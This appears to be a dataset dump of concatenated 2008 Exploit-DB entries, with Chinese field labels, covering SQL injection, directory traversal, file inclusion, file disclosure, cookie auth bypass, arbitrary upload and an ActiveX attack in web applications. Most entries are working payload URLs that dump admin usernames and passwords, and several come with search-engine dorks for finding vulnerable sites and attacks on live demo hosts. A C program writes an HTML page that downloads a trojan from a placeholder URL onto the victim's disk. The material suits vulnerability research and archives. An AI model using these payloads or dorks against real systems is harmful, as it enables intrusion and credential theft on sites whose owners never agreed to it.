QLWD/code_shield huggingface dataset:
标题: Velocity Web-Server 1.0 - Directory Traversal EDB-ID: 6151 CVE: 2008-7084 类型: REMOTE 平台: WINDOWS 发布日期: 2008-07-28 漏洞利用脚本: Digital Security Research Group [DSecRG] Advisory       #DSECRG-08-028


Application:                    Velocity web-server (a part of Velocity Security Management System)
Versions Affected:              Old version 1.0
Vendor URL:                     http://hirschelectronics.com
Bugs:                           Directory traversal File Download
Exploits:                       YES
Reported:                       03.03.2008
Second report:                  14.03.2008
Vendor response:                14.03.2008
Solution:
Date of Public Advisory:
Authors:                        Digital Security Research Group [DSecRG]


Description
***********

Velocity web-server has critical  directory traversal  vulnerability


Details
*******



Directory traversal vulnerability find in Velocity web-server
Attacker can exploit this by sending a url with url directory traversal




Example:



    http://[server]:[port]/../../../../../../../../../../../../../etc/passwd





Fix Information
***************


Version 1.o is very old. If you have thes version please it Update it to last version on http://hirschelectronics.com





About
*****

Digital Security is leading IT security company in Russia, providing information security consulting, audit and penetration testing services, risk analysis and ISMS-related services and certification for ISO/IEC 27001:2005 and PCI DSS standards. Digital Security Research Group focuses on web application and database security problems with vulnerability reports, advisories and whitepapers posted regularly on our website.


Contact:        research [at] dsec [dot] ru
                http://www.dsec.ru (in Russian)

# milw0rm.com [2008-07-28] URL: https://www.exploit-db.com/exploits/6151
标题: Dokeos E-Learning System 1.8.5 - Local File Inclusion EDB-ID: 6149 CVE: 2008-3363 类型: WEBAPPS 平台: PHP 发布日期: 2008-07-28 漏洞利用脚本: Digital Security Research Group [DSecRG] Advisory       #DSECRG-08-029


Application:                    Dokeos E-Learning System
Versions Affected:              1.8.5
Vendor URL:                     http://dokeos.com/
Bug:                            Local File Include
Exploits:                       YES
Reported:                       01.07.2008
Vendor response:                05.07.2008
Solution:                       YES
Date of Public Advisory:        17.07.2008
Authors:                        Digital Security Research Group [DSecRG] (research [at] dsec [dot] ru)



Description
***********

Dokeos E-Learning System system has local file include vulnerability in script user_portal.php

Vulnerable GET parameter "include".

Registered user can use this vulnerability.

Code
****
#################################################

if (!empty ($_GET['include']) && !strstr($_GET['include'], '/') && strstr($_GET['include'], '.html'))
{
        include ('./home/'.$_GET['include']);
        $pageIncluded = true;
}
else
..

#################################################

Example:

http://[server]/[installdir]/user_portal.php?include=..\..\..\..\..\..\..\..\..\..\..\..\..\boot.ini%00.html


Fix Information

***************

you can fix it following this official information http://www.dokeos.com/wiki/index.php/Security Or wait a new
release


Fixing this issue can be done by replacing line 770 of /user_portal.php by:

 if (!empty ($_GET['include']) && preg_match('/^[a-zA-Z0-9_-]*\.html$/',$_GET['include']))



About
*****

Digital Security is leading IT security company in Russia, providing information security consulting, audit and
penetration testing services, risk analysis and ISMS-related services and certification for ISO/IEC 27001:2005 and
PCI DSS standards. Digital Security Research Group focuses on web application and database security problems with
vulnerability reports, advisories and whitepapers posted regularly on our website.


Contact:    research [at] dsec [dot] ru
            http://www.dsec.ru (in Russian)

# milw0rm.com [2008-07-28] URL: https://www.exploit-db.com/exploits/6149
标题: phpLinkat 0.1 - Insecure Cookie Handling / SQL Injection EDB-ID: 6140 CVE: 2008-3407 2008-3406 类型: WEBAPPS 平台: PHP 发布日期: 2008-07-26 漏洞利用脚本: ######## ##    ##  ######  ########  ##    ## ########  ########  #######  ######## 
##       ###   ## ##    ## ##     ##  ##  ##  ##     ##    ##    ##     ## ##     ##
##       ####  ## ##       ##     ##   ####   ##     ##    ##           ## ##     ##
######   ## ## ## ##       ########     ##    ########     ##     #######  ##     ##
##       ##  #### ##       ##   ##      ##    ##           ##           ## ##     ##
##       ##   ### ##    ## ##    ##     ##    ##           ##    ##     ## ##     ##
######## ##    ##  ######  ##     ##    ##    ##           ##     #######  ######## 
################################ !R4Q!4N H4CK3R  ###################################
#
# phpLinkat 0.1 Insecure Cookie Handling Vulnerability & Sql Injection Exploit
#
# Founded By : Encrypt3d.M!nd
#              encrypt3d.blogspot.com
#
# Dork : "Powered by DesClub.com - phpLinkat"

# Description :
  
   phpLinkat is a free link indexing script written in PHP and
   runs on MySQL.This script is suffering a sql injection bug
   and insecure cookie handling.

# phpLinkat : Sql Injection Exploit
    PoC :www.site.com/phpLinkat/showcat.php?catid=666%20union%20select%20concat(version(),0x3a,database(),0x3a,user()),2,3,4,5,6/*

# phpLinkat : Insecure Cookie Handling
 
  /admin/login2.php: 
  6 : if( ($username == $cpusername) && ($password == $cppassword) ){
  7 :  setcookie("login","right");  <<< wtf!!
  8 :  echo <<<EOF
 Exploit:
  javascript:document.cookie = "login=right; path=/;";
  Then goto "phplinkat/admin/",and have fun ^_^

#End 

# milw0rm.com [2008-07-26] URL: https://www.exploit-db.com/exploits/6140
标题: Youtuber Clone - SQL Injection EDB-ID: 6147 CVE: 2008-3419 类型: WEBAPPS 平台: PHP 发布日期: 2008-07-28 漏洞利用脚本: |___________________________________________________|
|
| Youtuber Clone (UID) Remote SQL Injection Vulnerability
|
|___________________________________________________
|---------------------Hussin X----------------------|
|
|    Author: Hussin X
|
|    Home :  www.tryag.cc/cc
|
|    email:  darkangel_g85[at]Yahoo[DoT]com
|
|
|___________________________________________________
|                                                   |
|
|
| script : http://www.greatclone.com/product_info.php?cPath=30&products_id=86
|
| DorK   : "Everyone should be on TV! Now you can upload 2 TV"
|
|___________________________________________________|



Exploit:  

www.[target].com/Script/ugroups.php?UID=-1+UNION+SELECT+1,concat_ws(0x3a,user(),version(),database()),3,4,5,6,7,8,9,10,11,12,13,14,15--

 



L!VE DEMO: :


http://www.demosgreatclone.com/youtubeclone/ugroups.php?UID=-1+UNION+SELECT+1,concat_ws(0x3a,user(),version(),database()),3,4,5,6,7,8,9,10,11,12,13,14,15--




____________________________( Greetz )____________________________
|
| tryag.cc | DeViL iRaQ | IRAQ DiveR | IRAQ_JAGUR | str0ke
|   
| Iraqihack | FAHD | mos_chori | Silic0n 
|
|_________________________________________________________________


                       Im IRAQi

# milw0rm.com [2008-07-28] URL: https://www.exploit-db.com/exploits/6147
标题: Getacoder clone - 'sb_protype' SQL Injection EDB-ID: 6143 CVE: 2008-3372 类型: WEBAPPS 平台: PHP 发布日期: 2008-07-27 漏洞利用脚本: |___________________________________________________|
|
| Getacoder Clone Script (sb_protype) Remote SQL Injection Vulnerability
|
|___________________________________________________
|---------------------Hussin X----------------------|
|
|    Author: Hussin X
|
|    Home :  www.tryag.cc/cc
|
|    email:  darkangel_g85[at]Yahoo[DoT]com
|
|
|___________________________________________________
|                                                   |
|
|
| script : http://www.greatclone.com/product_info.php?cPath=24&products_id=79
|
| DorK   : inurl:"search_form.php?sb_showresult="
|___________________________________________________|



Exploit:  

www.[target].com/Script/search_form.php?sb_showresult=1&sb_protype=-2+UNION+SELECT+1,concat_ws(0x3a,sb_admin_name,sb_pwd),3+from+sbprj_admin--

 

L!VE DEMO: :


http://www.demosgreatclone.com/getacoder/search_form.php?sb_showresult=1&sb_protype=-2+UNION+SELECT+1,concat_ws(0x3a,sb_admin_name,sb_pwd),3+from+sbprj_admin--




____________________________( Greetz )____________________________
|
| tryag.cc | DeViL iRaQ | IRAQ DiveR | IRAQ_JAGUR | str0ke
|   
| Iraqihack | FAHD | mos_chori | Silic0n 
|
|_________________________________________________________________


                       Im IRAQi

# milw0rm.com [2008-07-27] URL: https://www.exploit-db.com/exploits/6143
标题: Mobius 1.4.4.1 - SQL Injection EDB-ID: 6138 CVE: 2008-3420 类型: WEBAPPS 平台: PHP 发布日期: 2008-07-26 漏洞利用脚本: :::::::-.   ...    ::::::.    :::.
   ;;,   `';, ;;     ;;;`;;;;,  `;;;
   `[[     [[[['     [[[  [[[[[. '[[
    $$,    $$$$      $$$  $$$ "Y$c$$
    888_,o8P'88    .d888  888    Y88
    MMMMP"`   "YmmMMMM""  MMM     YM

   [ Discovered by dun \ dun[at]strcpy.pl ]

 #################################################################
 #   [ Mobius <= 1.4.4.1 ]   Remote SQL Injection Vulnerability  #
 #################################################################
 # 
 # [ Script: Mobius Web Publishing Software ]
 #
 # [ Script site: http://www.willo.com/mimsy_xg/mobius.asp ]
 # 
 # [ Default table_name with users: Webusers ]
 # 
 # [ Vuln: browse.php ] http://site.com/browse.php?id=-1+UNION+SELECT+concat_ws(char(58),USID,EMAIL,SUPERSECRETPASSWORD,ADMIN)+from+Webusers+limit+0,1/*  
 # 
 # [ Vuln: detail.php ] http://site.com/mobius_path/detail.php?t=exhibitions&type=exh&f=&s=-1+UNION+SELECT+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15/* 
 # *[ in other version of Mobius, number of columns may be different ]* 
 # 
 # [ Dork example: "This website is powered by Mobius" ]
 #
 #####################################################
 # Greetz: D3m0n_DE * Voo|doo * str0ke and otherz..
 #####################################################

 [ dun / 2008 ] 

*******************************************************************************************

# milw0rm.com [2008-07-26] URL: https://www.exploit-db.com/exploits/6138
标题: EPShop < 3.0 - 'pid' SQL Injection EDB-ID: 6139 CVE: 2008-3412 类型: WEBAPPS 平台: PHP 发布日期: 2008-07-26 漏洞利用脚本: ########################################################################################
#
# [+]  Name   : EPShop < 3.0 (pid) Remote SQL Injection Vulnerability
# [+]  Author : mikeX - http://www.cyber-underground.net / m$n: mikeX[at]fuckoff[dot]com
# [+]  Dork(s): ?action=pro_show and ?action=disppro
# [+]  Greetz : Ciaran McG, -Witch-Doct0r, K_n, MegaByte, Squibs, cIpheR, mmmbud, RoMeo
#
########################################################################################


Information;

    You can't download a copy coz it's now known as ECShop - http://comsenz.com/products/ecshop
    They stopped supporting the old version a while ago.

Exploit;

    SQL #1: http://www.target.com/?action=pro_show&pid=[SQL Injection]
    SQL #2: http://www.target.com/?action=disppro&pid=[SQL Injection]

Live Examples;

    http://www.xxx.net/?action=pro_show&pid=null+UNION+ALL+SELECT+1,password,3,4,5,6+FROM+admin--
    http://www.xxx.com/?action=disppro&pid=null+UNION+ALL+SELECT+1,password,3,4,5,6,7,8,9,10,11,12,13+FROM+admin--

# milw0rm.com [2008-07-26] URL: https://www.exploit-db.com/exploits/6139
标题: FipsCMS Light 2.1 - 'r' SQL Injection EDB-ID: 6135 CVE: 2008-3417 类型: WEBAPPS 平台: ASP 发布日期: 2008-07-26 漏洞利用脚本: Exploit Code:

victim/path/home/index.asp?w=pages&r=9999999 union select all 0,username,null,0x1 from admin

victim/path/home/index.asp?w=pages&r=9999999 union select all 0,password,null,0x1 from admin

http://localhost:2222/lab/cms/_admin

Download:http://login.fipsasp.com/File.asp?ID=60&CatID=5
Found By U238
# Exploit Search Find: ^o)
#
# fipsCMS light - Ã‚Â© fipsASP 2003 - 2008. All rights reserved
#
# fipsCMS light - Ã‚Â© fipsASP 2003 - 2008
#
# inurl:"fipsASP 2003 - 2008"
# ************************************************ 

# milw0rm.com [2008-07-26] URL: https://www.exploit-db.com/exploits/6135
标题: PHPTest 0.6.3 - SQL Injection EDB-ID: 6134 CVE: 2008-3377 类型: WEBAPPS 平台: PHP 发布日期: 2008-07-25 漏洞利用脚本: ########################################################################################
#
#   Name   : phpTest 0.6.3 (picture.php image_id) Remote SQL Injection Vulnerability
#   Author : cOndemned [ Dark-Coders ]
#   Dork   : sorry, today no dork [;
#   Greetz : ZaBeaTy, str0ke, GregStar, Voo|doo, ixos, 0in, suN8Hclf, TBH, Avantura :*
#
########################################################################################

Source code of "picture.php" :

    24.    pt_register('GET', 'image_id');
    25.
    26.    if (isset($image_id)) {
    27.        $result = $db->query("SELECT filetype, data FROM images WHERE image_id = $image_id");
    28.
    29.        if ($db->num_rows($result)) {
    30.            $row = $db->fetch_object($result);
    31.            header("Content-type: $row->filetype");
    32.            echo $row->data;

Description :

    line 24 - $image_id is taken from user using $_GET method
    line 27 - There is absolutly no validation of $image_id + We can se amount of columns - 2
    line 31 - header type doesn't matter....
    line 32 - Result of MySQL Query is being printed here.
        
Exploit :

    http://[host]/[phpTest]/picture.php?image_id=-1+union+select+1,concat_ws(0x3a3a,username,password)+from+users/*

# milw0rm.com [2008-07-25] URL: https://www.exploit-db.com/exploits/6134
标题: FizzMedia 1.51.2 - SQL Injection EDB-ID: 6133 CVE: 2008-3378 类型: WEBAPPS 平台: PHP 发布日期: 2008-07-25 漏洞利用脚本: ###############################################################
#################### Viva IslaM Viva IslaM ####################
##
## Remote SQL injection Vulnerability
##
## FizzMedia 1.51.2 ( comment.php mid )
##                            
###############################################################
###############################################################
##
## AuTh0r : Mr.SQL
##
## H0ME   : WwW.PaL-HaCkEr.CoM  &  WwW.AtsDp.CoM/f
##
## Email  : SQL@Hotmail.it
##
## SYRIAN Arab HACkErS
########################
########################
##
## -[[: Exploite :]]-
##
## www.Target.com/comment.php?mid=-1'+UNION+SELECT+0,0,0,Concat_Ws(0x3a3a,user,pass)MrSQL,0,0,0,0,0,0,0,0,0+FROM+admin/*
##
########################
########################
-[[ download ]]-
http://fizzmedia.negativekarma.net/fizzMedia_1.51.2.zip

#######################################################################################################
#######################################################################################################
                                  -(:: !Gr3E3E3E3E3E3E3TzZ! ::)-
                                         
 :: HaCkEr_EGy :: His0k4 :: Dark MaSTer :: MoHaMeD el 3rab :: ALwHeD :: milw0rm :: MuslimS HaCkErS ::
#######################################################################################################
#######################################################################################################

# milw0rm.com [2008-07-25] URL: https://www.exploit-db.com/exploits/6133
标题: XRms 1.99.2 - Remote File Inclusion / Cross-Site Scripting / Information Gathering EDB-ID: 6131 CVE: 2008-3400 2008-3399 2008-3398 类型: WEBAPPS 平台: PHP 发布日期: 2008-07-25 漏洞利用脚本: ##############################################################

XMRS Multiple Vulnerabilities (ZeroDay at 25-07-2008)
Author: AzzCoder [azzcoder@hotmail.com]
Product: http://www.xrms.org/
Product Type: CRM
Thanks: coresecurity.com

Remote File Inclusion
 File: activities/workflow-activities.php
 Variable: $include_directory
 Required register_globals: Yes

XSS
 Multiple Files
 Variable: $msg
 Quote limitations: Yes

Information Gathering
 tests/info.php
 phpinfo() call

##############################################################

# milw0rm.com [2008-07-25] URL: https://www.exploit-db.com/exploits/6131
标题: Atom Photoblog 1.1.5b1 - 'photoId' SQL Injection EDB-ID: 6125 CVE: 2008-3351 类型: WEBAPPS 平台: PHP 发布日期: 2008-07-24 漏洞利用脚本: ###############################################################
#################### Viva IslaM Viva IslaM ####################
##
## Remote SQL injection Vulnerability
##
## Atom PhotoBlog ( atomPhotoBlog.php do )
##                            
## http://sourceforge.net/projects/atomphotoblog/                           
##                            
###############################################################
###############################################################
##
## AuTh0r : Mr.SQL
##
## H0ME   : WwW.PaL-HaCkEr.CoM  &  WwW.AtsDp.CoM/f
##
## Email  : SQL@Hotmail.it
##
## SYRIAN Arab HACkErS
########################
########################
##
## -[[: Exploite :]]-
##
## www.Target.com/atomPhotoBlog.php?do=show&photoId=969696+union+select+0,0,0,0,0,0,0,0,0,0,0,mail,pass,0+from+user
##
########################
########################

#######################################################################################################
#######################################################################################################
                                  -(:: !Gr3E3E3E3E3E3E3TzZ! ::)-
                                         
 :: HaCkEr_EGy :: His0k4 :: Dark MaSTer :: MoHaMeD el 3rab :: ALwHeD :: milw0rm :: MuslimS HaCkErS ::
#######################################################################################################
#######################################################################################################

# milw0rm.com [2008-07-24] URL: https://www.exploit-db.com/exploits/6125
标题: ibase 2.03 - Remote File Disclosure EDB-ID: 6126 CVE: 2008-6288 类型: WEBAPPS 平台: PHP 发布日期: 2008-07-24 漏洞利用脚本: Name: [AFD] i-base <= 2.03
Author: Dyshoo
Vendor: http://www.i-base.net/
Dork: "inurl:ibase site:de"

http://[site]/ibase/zubehoer/download.php?filename=[file]

Database config:
http://[site]/ibase/zubehoer/download.php?filename=../config/config_db.php

# milw0rm.com [2008-07-24] URL: https://www.exploit-db.com/exploits/6126
标题: Microsoft Access - 'Snapview.ocx 10.0.5529.0' ActiveX Remote File Download EDB-ID: 6124 CVE: 2008-2463 类型: REMOTE 平台: WINDOWS 发布日期: 2008-07-24 漏洞利用脚本: /* Microsoft Access Snapshot Viewer ActiveX Control Exploit
   Ms-Access SnapShot Exploit Snapview.ocx v 10.0.5529.0
   Download nice binaries into an arbitrary box
   Vulnerability discovered by Oliver Lavery 
   https://www.securityfocus.com/bid/8536/info
   Remote: Yes
   greetz to str0ke */

#include <stdio.h>
#include <stdlib.h>


#define Filename        "Ms-Access-SnapShot.html"


FILE *File;
char data[] = "<html>\n<objectclassid='clsid:F0E42D50-368C-11D0-AD81-00A0C90DC8D9'id='attack'></object>\n"
              "<script language='javascript'>\nvar arbitrary_file = 'http://path_to_trojan'\n"
              "var dest = 'C:/Docume~1/ALLUSE~1/trojan.exe'\nattack.SnapshotPath = arbitrary_file\n"
              "attack.CompressedPath = destination\nattack.PrintSnapshot(arbitrary_file,destination)\n"
              "<script>\n<html>";

int main ()
{
        printf("**Microsoft Access Snapshot Viewer ActiveX Exploit**\n");
        printf("**c0ded by callAX**\n");
        printf("**r00t your enemy .| **");

        char *b0fer;

        if ( (File = fopen(Filename,"w")) == NULL ) {
                printf("\n fopen() error");
                exit(1);
        }

        b0fer = (char*)malloc(strlen(data));

        fwrite(data, strlen(data), 1,File);
        fclose(File);

        printf("\n\n" Filename " has been created.\n");
        return 0;
}

// milw0rm.com [2008-07-24] URL: https://www.exploit-db.com/exploits/6124
标题: Camera Life 2.6.2 - 'id' SQL Injection EDB-ID: 6132 CVE: 2008-3355 类型: WEBAPPS 平台: PHP 发布日期: 2008-07-25 漏洞利用脚本: #Camera Life 2.6.2(id) Sql Injection Vulnerability



#Author: nuclear



#script: http://downloads.sourceforge.net/fdcl/cameralife-2.6.2aa.zip



#exploit: sitemap.xml.php?page=photos&id=999999 union select concat(username,0x3a,password),null from users --



#greetz cAs, Mi4night, zYzTeM ,THE_MAN, DiGitalX, sys32r, sys32-hack, Digitalfortress, and me :P

# milw0rm.com [2008-07-25] URL: https://www.exploit-db.com/exploits/6132
标题: Live Music Plus 1.1.0 - 'id' SQL Injection EDB-ID: 6128 CVE: 2008-3352 类型: WEBAPPS 平台: PHP 发布日期: 2008-07-24 漏洞利用脚本: ###############################################################
#################### i love abeer ####################
##
## Remote SQL injection Vulnerability
##
## Live Music Plus v1.1.0
##                            
###############################################################
###############################################################
##
## AuTh0r : IRAQI

##
##
##
## Email  : expl0it.zone@googlemail.com
##
##
########################
########################
##
## -[[: Exploite :]]-
##
## http://www.xxx.com/index.php?act=Singer&id=-1%20union%20select%200,concat(password,0x3a,username),2,3,4,5+from+users/*
##
## index.php?act=Singer&id=-1 UNION SELECT 1,password,3,4,5,6 FROM a5421577_db2.users--
##
########################
########################
 
1) Download script :  http://www.nersoft.com/
2) Passwords Md5
 
#############################################################################

# milw0rm.com [2008-07-24] URL: https://www.exploit-db.com/exploits/6128
标题: WordPress Plugin Download Manager 0.2 - Arbitrary File Upload EDB-ID: 6127 CVE: 2008-3362 类型: WEBAPPS 平台: PHP 发布日期: 2008-07-24 漏洞利用脚本: <a name="upload-file"></a><h2>WORDPRESS PLUGIN DOWNLOAD MANAGER 0.2 REMOTE FILE UPLOAD</h2>
<h3>SaO</h3>
<h4>BiyoSecurityTeam || www.biyosecurity.com</h4>
<i>Plugin URI: http://giulioganci.netsons.org/downloads-manager<i>
    <hr color="#f0f8ff">
    <fieldset name="upl" class="options">

    <form action="http://[site]/wp-content/plugins/downloads-manager/upload.php?up=http://[site]/wp-content/plugins/downloads-manager/upload/" method="post" enctype="multipart/form-data" name="upload">
       <table cellspacing="0" cellpadding="3">
         <tr> 
           <td>Local File</td>
         </tr>
         <tr>
           <td><input name="upfile" type="file" id="upfile" size="50"><input type="hidden" name="MAX_FILE_SIZE" value="2048"></td>
           <td><input type="submit" name="up" value="Send" class="button" /></td>
         </tr>
       </table>
    </form>
    </fieldset>

# milw0rm.com [2008-07-24] URL: https://www.exploit-db.com/exploits/6127
标题: ShopCartDx 4.30 - 'pid' SQL Injection EDB-ID: 6114 CVE: 2008-3346 类型: WEBAPPS 平台: PHP 发布日期: 2008-07-21 漏洞利用脚本: ShopcartDX Remote Sql Injection All Version

By Cr@zy_King / sqL Lov3r'Z Crew Co. 2008

Downlod: http://webscripts.softpedia.com/script/E-Commerce/Shopping-Carts/ShopcartDX-1-1421.html

Sql :

http://localhost/patch/product_detail.php?cid=9&pid=-1 UNION SELECT 1,2,3,4,database(),6,7,8,9,10,11,12,13,14,15,16/*

Greatz : aLL My Friend'Z and str0ke


========================================From Turkey============================================= 

# milw0rm.com [2008-07-21] URL: https://www.exploit-db.com/exploits/6114
标题: Pre Survey Poll - 'catid' SQL Injection EDB-ID: 6119 CVE: 2008-3310 类型: WEBAPPS 平台: ASP 发布日期: 2008-07-22 漏洞利用脚本: PRE SURVEY POLL Remote Sql Injection
DreamTurk / sqL Lov3r'Z Crew Co. 2008
Downlod: http://www.preproject.com/poll.asp / Price $28.00
Demo : http://www.preproject.com/poll/default.asp
Sql :
http://localhost/patch/default.asp?catid=1+union+select+0,username+from+users
http://localhost/patch/default.asp?catid=1+union+select+0,username+from+users

Admin Panel :
http://localhost/patch/admin/default.asp
Greatz : aLL My Friend'Z and str0ke

========================================From Turkey=============================================
Demo Page ;
 http://www.preproject.com/poll/default.asp?catid=1+union+select+0,password+from+users

 http://www.preproject.com/poll/default.asp?catid=1+union+select+0,password+from+users

# milw0rm.com [2008-07-22] URL: https://www.exploit-db.com/exploits/6119